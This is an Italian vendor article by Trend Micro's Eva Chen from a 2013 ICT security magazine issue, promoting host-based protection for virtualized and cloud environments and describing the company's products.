Tabella 1: Nel nuovo ambiente ibrido in-the-cloud, sono necessari anche i
controlli di protezione impiegati nell’approccio tradizionale.
Inoltre, l’ispezione dei registri è necessaria per assicurare la visibilità di importanti eventi di sicurezza
nascosti nei file di registro nelle risorse in-the-cloud.
La Tabella 1 mostra come, nel nuovo ambiente ibrido in-the-cloud, siano anche necessari i controlli di
protezione impiegati nell’approccio tradizionale.
5. La Visione Trend Micro
Per garantire una protezione efficace nell’era della
virtualizzazione e del cloud computing, la protezione
di ultima generazione deve comprendere una combinazione ottimale di approcci per la sicurezza delle
risorse fisiche tradizionali, delle risorse virtuali e dei
carichi di lavoro, ovunque si trovino, compreso l’ambiente in-the-cloud (Figura 4). Trend Micro Smart
Protection Network™ opera in supervisione e garantisce resistenza e aggiornamento degli agenti di sicurezza per tutte le risorse e i carichi di lavoro. La sicurezza si sposta assieme ai carichi di lavoro e viene
implementata a livello di hypervisor per proteggere
tutti i sistemi operativi ospiti da una singola postazione.
L’host dovrà fornire la gran parte delle necessarie
funzionalità di protezione nell’ambiente virtualizzato
e, in definitiva, di cloud computing. Questi controlli
di protezione basati su host rappresenteranno la virtualizzazione della protezione. Ciò significa, per fare
un esempio, che la protezione dovrà tenere il passo
con la fornitura istantanea dei servizi che è la caratteristica tipica della virtualizzazione. È una situazione che può tuttavia essere trasformata in un’opportunità, poiché i criteri di sicurezza definiti possono
essere implementati immediatamente nel momento
in cui viene fornito ciascun nuovo dispositivo.
Questo è un esempio di come la virtualizzazione
offra una grandissima ed entusiasmante opportunità
151
Eva Chen
per migliorare ulteriormente la protezione. Tale evoluzione della protezione
offre inoltre la possibilità
di evitare i tempi di inattività causati dalle infezioni o
dalle violazioni della sicurezza, mantenendo così la
continuità aziendale e favorendo la conformità normativa.
In questo paradigma
dominato dagli host, i vendor di sistemi di protezione
esperti nella progettazione
e nell’implementazione di
protezione basata su host
si troveranno probabilmente in una posizione
Figura 4: La visione Trend Micro della protezione di ultima generazione comprende una combinazione ottimamigliore per offrire alle
le di approcci per la sicurezza delle risorse fisiche tradizionali, delle risorse virtuali e dei carichi di lavoro, ovunorganizzazioni questo tipo
que si trovino, compreso l’ambiente in-the-cloud.
di protezione virtualizzata
espansa e potenziata. La
sono già commercializzati oggi:
progettazione della protezione per quantità elevate di
• Architettura cloud: la protezione va progethost ed endpoint è del tutto diversa dalla progettatata dalle fondamenta per integrarsi con le teczione della protezione per una rete. I vendor che
nologie e i modelli di virtualizzazione e cloud
hanno una vasta esperienza nell’affrontare le esigencomputing e per sfruttarne le caratteristiche.
ze e le opportunità specifiche della protezione basata
su host, oltre allo sviluppo delle best practice in que• Mobilità: in un mondo caratterizzato da una
sto ambito, probabilmente saranno i leader nella procrescente mobilità, con reti 3G, vMotion e il
tezione di ultima generazione.
cloud computing, e dalla discesa dell’IT nel
Tale cambiamento modificherà le modalità di
mercato consumer, con smartphone e tablet,
spesa per la sicurezza da parte dei settori IT; le soluanche la protezione dev’essere mobile. Deve
zioni basate su host riceveranno gradualmente più
viaggiare con i dati, le applicazioni e i disposiattenzione e maggiori investimenti. Tuttavia non si
tivi che ha il compito di proteggere.
tratterà di un cambiamento repentino. La migrazione
dei firewall sui desktop ha richiesto circa dieci anni;
• Endpoint sottile: la presenza della proteziol’evoluzione delle reti tradizionali verso la virtualizzane dell’endpoint deve avere le dimensioni
zione, in un primo momento, e poi verso il cloud
minime possibili per poter essere supportata
computing richiederà tempo.
in spazi ridotti, come le macchine virtuali, gli
smartphone e i dispositivi USB, e consumare
meno risorse, come memoria, tempo di CPU
6. Caratteristiche della strategia per la protee I/O.
zione di ultima generazione
Trend Micro si impegna nella direzione di una
strategia per la protezione di ultima generazione, cioè
di una strategia che consentirà alle aziende di assicurarsi in pieno i sostanziali vantaggi operativi e i
risparmi di costi derivanti dalla virtualizzazione e dal
cloud computing, grazie agli elementi seguenti, che
152
• Velocità: la protezione dev’essere rapida nell’esecuzione, veloce nell’aggiornamento, dato
il ritmo con cui vengono scoperte nuove
minacce e vulnerabilità e la velocità con cui le
macchine virtuali possono essere implementate o spostate dallo stato inattivo a quello attiSpeciale Sicurezza ICT
vo, e deve avere un impatto minimo sulle prestazioni del sistema.
• Semplicità: la protezione deve risultare di
semplice utilizzo, deve integrarsi facilmente
con soluzioni e infrastrutture IT preesistenti,
deve includere funzioni di automazione, notifica, rapporti e altro ancora che consentano di
ridurre i tempi di gestione e manutenzione.
• Ampiezza della protezione: una vasta
gamma di controlli di protezione fondamentali, come antivirus, crittografia, DLP (data loss
prevention), firewall, IDS/IPS, monitoraggio
dell’integrità dei file, e ispezione dei registri,
dev’essere virtualizzata e deve operare in
modo trasparente negli ambienti virtualizzati e
di cloud computing. Le soluzioni per la protezione dei punti non sono sufficienti.
• Protezione efficace, accessibile, supportata e conforme alle normative: data la tendenza verso l’utilizzo di dispositivi consumer
e l’adozione dei modelli di acquisto di BYO
PC (build your own PC, componi il tuo PC), le
soluzioni di sicurezza devono essere al contempo disponibili a livello globale e prontamente accessibili ai consumatori e devono
assicurare una protezione efficace, allinearsi
agli standard IT aziendali ed essere supportati
da un’assistenza globale.
• Criteri e controlli: poiché molte aziende nel
prossimo futuro dovranno probabilmente
supportare un modello ibrido composto da
risorse fisiche, virtuali e di cloud computing, i
criteri di protezione e i controlli dovranno
essere costantemente disponibili e validi per
questi diversi ambienti.
7. Soluzioni Trend Micro
Le soluzioni avanzate sono progettate specificamente per fare in modo che in questo ambiente sia
possibile ridurre il rischio, aumentare le prestazioni,
semplificare la gestione e, in ultima analisi, garantire
per il futuro la sicurezza del datacenter. In questo
ambito, Trend Micro offre sistemi di protezione concepiti per la virtualizzazione e il cloud computing.
Trend Micro rappresenta una leadership nella tutela
dei dati, una tecnologia improntata al futuro come
Trend Micro Smart Protection Network™ e soluzioni innovative che assicurano la continuità aziendale e
la conformità normativa. Trend Micro in questo contesto offre le soluzioni seguenti:
• Trend Micro™ Deep Security garantisce una
protezione avanzata per i sistemi del datacenter dinamico, dai desktop virtuali ai server fisici, virtuali o in-the-cloud. Deep Security combina in un’unica soluzione di software aziendale gestibile a livello centrale funzioni di rilevamento e prevenzione delle intrusioni, firewall, monitoraggio dell’integrità, ispezione dei
registri e antimalware. La soluzione può essere implementata sia in configurazioni agentless (dispositivo virtuale) sia basate su agente.
• Trend Micro™ SecureCloud™ è una soluzione
di gestione delle chiavi e di crittografia dei dati
in hosting progettata per proteggere e controllare le informazioni riservate implementate negli ambienti di cloud computing pubblici
e privati. Efficiente e intuitivo, SecureCloud
contribuisce ad assicurare la conformità normativa e offre la libertà di passare da un fornitore in-the-cloud all’altro senza dover essere
legati al sistema di crittografia di un vendor
specifico.
• Trend Micro™ OfficeScan™ assicura la protezione per i desktop virtuali e fisici all’interno e
all’esterno della rete aziendale. È la prima
soluzione di sicurezza VDI (Virtual Desktop
Infrastructure) del settore ottimizzata per endpoint. Accelera la protezione, riduce l’uso
delle risorse e applica i patch virtuali.
• L’infrastruttura Trend Micro™ Smart
Protection Network™ assicura una protezione
avanzata in-the-cloud, bloccando le minacce
in tempo reale prima che raggiungano gli
utenti. Sfruttando un’architettura di cloud
computing esclusiva, si affida alla rete globale
dei sensori di informazioni sulle minacce e alle
tecnologie e-mail, Web e di File Reputation,
che collaborano per ridurre drasticamente le
infezioni.
• Trend Micro™ Mobile Security protegge
smartphone e PDA da perdita di dati, infezio-
153
Eva Chen
ni e attacchi da una console aziendale centrale
che è anche in grado di gestire la protezione
dei desktop.
I prodotti di sicurezza Trend Micro sono collaudati, affidabili e pronti all’uso, secondo la certificazione delle autorità terze.
8. Passaggi successivi
Le aziende alla ricerca di assistenza a sostegno
delle iniziative di virtualizzazione e cloud computing
dovrebbero porre ai vendor queste domande fondamentali:
• Come e quando hanno supportato più di
recente le API di VMware o di altri vendor
leader del mercato, per la protezione della virtualizzazione?
• Qual è la roadmap del prodotto di protezione
per i dispositivi mobili consumer?
Dispongono di soluzioni per la protezione di
tablet, smartphone e altri dispositivi mobili?
• Qual è l’architettura client in-the-cloud del
vendor? In che modo sfruttano il cloud computing per offrire una protezione più efficiente?
La transizione verso la virtualizzazione e il cloud
computing porterà alla formazione di ambienti IT
ibridi che possono generare vulnerabilità e comples-
154
sità a carico della sicurezza. La durata di questo
periodo per molte aziende, da media a prolungata,
richiede un lavoro a stretto contatto con il partner
che si occupa di protezione per facilitare la fornitura
di un livello efficace di protezione durante tutte le
fasi della transizione. Il vendor deve proporre una
valida esperienza comprovata nell’ambito della protezione basata su host, perché la virtualizzazione e il
cloud computing risiedono principalmente su host, e
deve presentare una visione molto ben meditata del
futuro.
9. Conclusioni
Il mondo IT è in rapida evoluzione e consumatori e dipendenti stanno adottando con velocità elevatissima nuovi dispositivi mobili. La mobilità è il fattore cruciale. Inoltre le aziende intendono sfruttare
quanto prima i vantaggi della virtualizzazione e del
cloud computing. Come elemento di facilitazione di
questi cambiamenti, e per far sì che le aziende colgano i vantaggi disponibili, la protezione può semplificare il passaggio attraverso i prossimi difficili periodi
di transizione. A questo scopo, la protezione si sta
spostando dalla rete all’host. Come vendor leader di
soluzioni tecnologiche basate su host da 22 anni,
Trend Micro ha una posizione unica per guidare i leader industriali durante questi tempi ricchi di sfide.
LA COMUNICAZIONE
Numero Unico
Anno 2013
Volume LIX
ISSN: 0374-3829
Direttore:
Rita Forsi
Progetto grafico
e coordinamento:
Roberto Piraino
Impaginazione:
Federico Filipponi
Corrado Pisano
www.mise.gov.it
www.isticom.it
[email protected]

Scarica la rivista completa

Transcript

Documenti analoghi

Sustainable Internet and ICT for Sustainability - UNIPA

GlobalTrust RMS

1 Come cambiare i parametri DNS

Guida alla configurazione in PPPoA o PPPoE

Che Cos`è un attaCCo wateRIng hole

scheda iscrizione - chitarra e dintorni

APCOA PARKING ITALIA S.p.A.

scarica - Shar Pei Club italia

kit chiavi “security lock”

Apcoa Parking Italia S